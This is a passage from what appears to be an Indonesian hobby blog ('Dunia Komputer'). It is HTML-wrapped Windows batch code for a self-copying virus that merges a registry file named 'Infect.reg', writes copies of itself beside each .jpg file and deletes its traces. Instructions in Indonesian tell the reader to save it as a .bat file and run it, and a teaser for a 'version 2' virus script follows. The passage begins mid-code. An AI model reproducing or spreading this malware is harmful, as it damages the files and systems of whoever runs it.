</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">Copy Infect .reg C:\DOCUME~1\ALLUSE~1\DOCUME~1\Infect.reg >Null</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">C:\DOCUME~1\ALLUSE~1\DOCUME~1\Infect.reg</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">@Del Infect.reg</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">@Del C:\DOCUME~1\ALLUSE~1\DOCUME~1\Infect.reg</div><div class="MsoNormal" style="margin-bottom: 1.75pt;"> 
</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">:Infect</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">Start %SystemRoot\System32\NOTEPAD.EXE %1</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">Copy %0 %1.bat >Null</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">For %%A in (*.jpg) do type %0 >%%A.bat</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">@Del null</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">Exit</div><div class="MsoNormal" style="margin-bottom: 1.75pt;"> 
</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">Simpan Dengan Notepad ,save & beri Ekstensi .*Bat </div><div class="MsoNormal" style="margin-bottom: 1.75pt;">lalu jalankan  </div>

scrift virus Virus Bat (version 2)

bka notepad lalu copas kode berikut ini @Echo off If Not Exist C:\DOCUME~1\ALLUSE~1\DOCUME~1\Svchost.exe Copy %0 C:\DOCUME~1\ALLUSE~1\DOCUM...

Subscribe to: Posts ( Atom )

Dunia Komputer